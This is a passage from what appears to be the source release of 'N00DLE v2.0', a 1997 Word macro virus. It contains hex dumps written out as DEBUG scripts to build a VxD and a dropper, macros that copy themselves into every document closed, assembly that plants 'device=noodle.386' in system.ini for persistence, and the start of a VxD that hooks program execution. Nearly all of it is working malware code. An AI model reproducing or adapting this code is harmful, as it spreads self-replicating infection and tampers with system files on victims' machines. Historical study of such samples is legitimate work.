00 00 00 00 00 00 00 00 00 00" Print #1, "E 01A0 00 00 00 00 00 00 00 00 00 10 00 00 08 00 00 00" Print #1, "E 01B0 34 00 00 00 00 00 00 00 4D 00 00 00 00 00 00 00" Print #1, "E 01C0 C4 00 00 00 02 00 00 00 F4 00 00 00 00 00 00 00" Print #1, "E 01D0 00 00 00 00 00 00 00 00 FC 00 00 00 06 01 00 00" Print #1, "E 01E0 00 00 00 00 00 00 00 00 11 01 00 00 1D 01 00 00" Print #1, "E 01F0 43 01 00 00 00 00 00 00 44 01 00 00 00 00 00 00" Print #1, "E 0200 00 02 00 00 01 00 00 00 08 12 00 00 17 00 00 00" Print #1, "E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0240 00 00 0A 03 4C 01 00 00 00 00 00 00 45 20 00 00" Print #1, "E 0250 01 00 00 00 01 00 00 00 00 00 00 00 08 00 00 00" Print #1, "E 0260 00 10 00 00 05 10 00 00 02 00 00 00 01 00 00 00" Print #1, "E 0270 00 00 00 00 00 00 01 00 00 00 02 00 06 4E 6F 6F" Print #1, "E 0280 64 6C 65 00 00 00 01 03 01 00 03 00 01 00 00 00" Print #1, "E 0290 00 00 00 00 00 26 00 00 00 26 00 00 00 07 00 6F" Print #1, "E 02A0 00 01 48 01 27 00 02 01 4A 01 AE 00 C0 00 07 00" Print #1, "E 02B0 06 00 01 12 00 07 00 18 01 01 F3 00 07 00 68 00" Print #1, "E 02C0 01 38 01 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0300 B8 21 00 00 00 BE 12 00 00 00 CD 20 41 00 01 00" Print #1, "E 0310 F8 C3 66 81 7D 1C 00 4B 0F 85 D3 00 00 00 83 EC" Print #1, "E 0320 6C 57 8D 7C 24 04 CD 20 8D 00 01 00 5F CD 20 83" Print #1, "E 0330 00 01 00 0F B7 55 3C C1 E2 04 0F B7 45 14 03 D0" Print #1, "E 0340 03 53 04 57 8B FA B9 80 00 00 00 B0 00 F2 AE 4F" Print #1, "E 0350 4F 80 3F 5C 74 10 80 3F 2F 74 0B 80 3F 3A 74 06" Print #1, "E 0360 3B FA 72 02 EB EA 47 BE 38 01 00 00 0F B7 0D 48" Print #1, "E 0370 01 00 00 F3 A6 5F 74 64 B8 22 3D 00 00 68 21 00" Print #1, "E 0380 00 00 CD 20 8F 00 01 00 72 52 93 B8 00 42 00 00" Print #1, "E 0390 33 C9 BA 1C 00 00 00 68 21 00 00 00 CD 20 8F 00" Print #1, "E 03A0 01 00 B8 00 3F 00 00 B9 02 00 00 00 8D 15 4A 01" Print #1, "E 03B0 00 00 68 21 00 00 00 CD 20 8F 00 01 00 66 81 3D" Print #1, "E 03C0 4A 01 00 00 57 57 75 04 B0 FE E6 64 B8 00 3E 00" Print #1, "E 03D0 00 68 21 00 00 00 CD 20 8F 00 01 00 CD 20 86 00" Print #1, "E 03E0 01 00 56 8D 74 24 04 CD 20 8E 00 01 00 5E 83 C4" Print #1, "E 03F0 6C F9 C3 83 F8 02 75 05 E9 03 FF FF FF F8 C3 00" Print #1, "E 0400 00 00 00 00 0A 03 00 00 03 00 00 00 4E 6F 6F 64" Print #1, "E 0410 6C 65 20 20 00 00 00 80 F3 00 00 00 00 00 00 00" Print #1, "E 0420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0430 00 00 00 00 00 00 00 00 77 69 6E 2E 63 6F 6D 00" Print #1, "E 0440 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00" Print #1, "E 0450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 04E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0510 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0520 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0530 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0540 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0550 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0560 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0570 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0580 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0590 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 05A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 05B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 05C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 05D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 05E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 05F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0600 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0610 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0620 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0630 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0640 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0650 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0660 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0670 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0680 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0690 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 06A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 06B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 06C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 06D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 06E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 06F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0700 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0710 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0720 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0730 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0740 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0750 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0760 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0770 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0780 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0790 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 07A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 07B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 07C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 07D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 07E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 07F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0800 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0810 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0820 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0830 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0840 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0850 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0860 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0870 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0880 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0890 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 08A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 08B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 08C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 08D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 08E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 08F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0900 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0910 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0920 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0930 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0940 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0950 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0960 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0970 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0980 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0990 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 09A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 09B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 09C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 09D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 09E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 09F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0A00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0A10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0A20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0A30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0A40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0A50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0A60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0A70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0A80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0A90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0AA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0AB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0AC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0AD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0AE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0AF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0B00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0B10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0B20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0B30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0B40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0B50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0B60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0B70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0B80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0B90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0BA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0BB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0BC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0BD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0BE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0BF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0C00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0C10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0C20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0C30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0C40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0C50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0C60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0C70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0C80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0C90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0CA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0CB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0CC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0CD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0CE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0CF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0D00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0D10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0D20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0D30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0D40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0D50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0D60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0D70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0D80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0D90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0DA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0DB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0DC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0DD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0DE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0DF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0E00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0E10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0E20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0E30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0E40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0E50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0E60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0E70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0E80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0E90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0EA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0EB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0EC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0ED0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0EE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0EF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0F00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0F10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0F20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0F30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0F40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0F50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0F60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0F70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0F80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0F90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0FA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0FB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0FC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0FD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0FE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 0FF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 10A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 10B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 10C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 10D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 10E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 10F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 11A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 11B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 11C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 11D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 11E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 11F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 12A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 12B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 12C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 12D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 12E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 12F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "E 1300 33 DB 33 F6 B8 00 00 C3 06 4E 30 30 44 4C 45 00" Print #1, "E 1310 00 0A 4E 4F 4F 44 4C 45 5F 44 44 42 01 00 00" Print #1, "RCX" Print #1, "121F" Print #1, "W" Print #1, "Q" Close #1 Open "c:\drop.scr" For Output As #1 Print #1, "N DROP.COM" Print #1, "E 0100 B8 02 3D BA 99 01 CD 21 73 17 B8 02 3D BA AF 01" Print #1, "E 0110 CD 21 73 0D B8 02 3D BA C9 01 CD 21 73 03 EB 75" Print #1, "E 0120 90 93 B8 02 42 33 C9 99 CD 21 A3 97 01 B8 00 42" Print #1, "E 0130 33 C9 99 CD 21 B4 3F B9 01 00 BA F0 01 CD 21 0B" Print #1, "E 0140 C0 74 4E 80 3E F0 01 6E 75 EB B4 3F B9 02 00 BA" Print #1, "E 0150 F0 01 CD 21 81 3E F0 01 68 5D 75 D9 B8 01 42 33" Print #1, "E 0160 C9 99 CD 21 50 29 06 97 01 8B 0E 97 01 B4 3F BA" Print #1, "E 0170 F0 01 CD 21 B8 00 42 33 C9 5A CD 21 B4 40 B9 13" Print #1, "E 0180 00 BA DD 01 CD 21 B4 40 8B 0E 97 01 BA F0 01 CD" Print #1, "E 0190 21 B4 3E CD 21 CD 20 00 00 63 3A 5C 77 69 6E 64" Print #1, "E 01A0 6F 77 73 5C 73 79 73 74 65 6D 2E 69 6E 69 00 63" Print #1, "E 01B0 3A 5C 77 69 6E 64 6F 77 73 2E 30 30 30 5C 73 79" Print #1, "E 01C0 73 74 65 6D 2E 69 6E 69 00 63 3A 5C 77 69 6E 39" Print #1, "E 01D0 35 5C 73 79 73 74 65 6D 2E 69 6E 69 00 0D 0A 64" Print #1, "E 01E0 65 76 69 63 65 3D 6E 6F 6F 64 6C 65 2E 33 38 36" Print #1, "E 01F0 00 00" Print #1, "RCX" Print #1, "F2" Print #1, "W" Print #1, "Q" Close #1 ChDir "c:\" Shell "error.bat", 0 NoDrop: End Sub Ŀ Macro: AutoClose Sub MAIN On Error Goto z Open "c:\error.bat" For Input As #1 Close #1 Kill "c:\error.bat" z: On Error Goto e If ChkInst = 1 Then Goto w ToolsMacro .Name = "eldoon", '.Bearbeiten <- I don't know how to translate ' this!!! (edit?) Insert "FileSaveAs .Name = FileName$(), .Format = 1" 'DokumentSchlieen 1 ??? perhaps closedocument (?) w: d$ = FileName$() f$ = d$ + ":AutoOpen" MacroCopy "Global:noodle", f$ f$ = d$ + ":AutoClose" MacroCopy "Global:AutoClose", f$ f$ = d$ + ":ToolsMacro" MacroCopy "Global:ToolsMacro", f$ ToolsMacro .Name = "eldoon", .run e: End Sub Function ChkInst 'from nj m$ = "eldoon" ChkInst = 0 If CountMacros(0) > 0 Then For i = 1 To CountMacros(0) If MacroName$(i, 0) = m$ Then ChkInst = 1 EndIf Next i EndIf End Function Ŀ Macro: ToolsMacro Sub MAIN ' N00DLE v2.0 - Written by Reptile - 1997 End Sub Ŀ File: DROP.ASM .286 .model tiny .code org 100h start: ;get the windoze path mov ax,3d02h ;c:\windows\system.ini? lea dx,sysini1 int 21h jnc w mov ax,3d02h ;c:\windows.000\system.ini? lea dx,sysini2 int 21h jnc w mov ax,3d02h ;c:\win95\system.ini? lea dx,sysini3 int 21h jnc w e:jmp exit ;drop 'vdr.386,' into system.ini w: xchg ax,bx mov ax,4202h ;get file size xor cx,cx cwd int 21h mov fsize,ax mov ax,4200h xor cx,cx cwd int 21h rfile: mov ah,3fh ;smaller than repne scasb mov cx,1 lea dx,rbuf int 21h or ax,ax je cfile cmp rbuf,'n' ;[386E'n'h] jne rfile mov ah,3fh mov cx,2 lea dx,rbuf int 21h cmp word ptr rbuf,']h' ;[386En'h]' jne rfile mov ax,4201h ;save current offset xor cx,cx cwd int 21h push ax sub fsize,ax ;read the second part of the file mov cx,fsize mov ah,3fh lea dx,rbuf int 21h mov ax,4200h ;go back xor cx,cx pop dx int 21h mov ah,40h ;insert ... mov cx,19 lea dx,dropstring int 21h mov ah,40h ;write the second part of the file mov cx,fsize lea dx,rbuf int 21h cfile: mov ah,3eh int 21h exit: int 20h fsize dw ? ;filesize sysini1 db 'c:\windows\system.ini',0 sysini2 db 'c:\windows.000\system.ini',0 sysini3 db 'c:\win95\system.ini',0 dropstring db 0dh,0ah,'device=noodle.386' rbuf db ? ;readbuffer drop db 0 ends end start Ŀ File: NOODLE.ASM Comment @ N00DLE - a simple retro vxd Compiling: masm5 -p -w2 noodle.asm link386 noodle.obj,noodle.386,,,noodle.def addhdr noodle.386 @ .386p .xlist include vmm.inc .list Declare_Virtual_Device Noodle, 3, 0, Noodle_Control, Undefined_Device_Id, \ Undefined_Init_Order,, VxD_Locked_Data_Seg exec db 'win.com' db 9 dup (0) execl dw 8 chkbt dw ? VxD_Locked_Data_Ends Vxd_Locked_Code_Seg BeginProc Noodle_Device_Init mov eax,21h mov esi,offset32 int_21hnd VMMcall Hook_V86_Int_Chain clc ret EndProc Noodle_Device_Init BeginProc int_21hnd cmp [ebp.Client_AX],4b00h ;exec jne reflect_21h Push_Client_State VMMcall Begin_Nest_Exec movzx edx,[ebp.Client_DS] shl edx,4 movzx eax,[ebp.Client_DX] add edx,eax add edx,[ebx.CB_High_Linear] push edi mov edi,edx mov ecx,128 mov al,0 ;(?) repne scasb dec edi w1: dec edi cmp byte ptr [edi],'\' ;from JHB je short w2 cmp byte ptr 